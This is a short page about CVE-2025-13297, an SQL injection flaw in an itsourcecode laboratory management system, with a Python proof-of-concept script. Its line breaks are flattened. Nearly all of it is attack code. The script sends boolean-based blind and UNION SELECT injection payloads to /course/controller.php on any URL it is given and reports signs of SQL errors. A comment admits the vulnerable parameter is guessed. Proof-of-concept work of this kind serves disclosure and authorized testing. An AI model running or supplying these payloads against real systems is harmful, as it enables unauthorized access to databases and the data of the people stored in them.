CVE-2025-13297 itsourcecode实验室管理系统SQL注入漏洞

import requests import sys # CVE-2025-13297 SQL Injection PoC # Target: itsourcecode Web-Based Internet Laboratory Management System 1.0 # Vulnerable File: /course/controller.php def exploit_sql_injection(target_url): """ SQL Injection PoC for CVE-2025-13297 This PoC demonstrates boolean-based blind SQL injection """ # Vulnerable endpoint vuln_url = f"{target_url}/course/controller.php" # Payload for testing boolean-based blind SQL injection # Original parameter value is manipulated with SQL injection payloads = [ "1' AND 1=1 -- -", # True condition "1' AND 1=2 -- -", # False condition "1' UNION SELECT NULL-- -", "1' UNION SELECT version()-- -" ] print(f"[*] Target: {target_url}") print(f"[*] Vulnerable Endpoint: {vuln_url}") print("[*] Testing SQL Injection payloads...") for i, payload in enumerate(payloads, 1): try: # Adjust 'id' parameter based on actual vulnerable parameter params = {'id': payload} response = requests.get(vuln_url, params=params, timeout=10) print(f"\n[Payload {i}] {payload}") print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # Check for SQL error messages if 'sql' in response.text.lower() or 'mysql' in response.text.lower(): print("[!] Potential SQL error detected!") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("\n[*] PoC execution completed.") print("[*] Note: This is for educational and authorized testing purposes only.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target)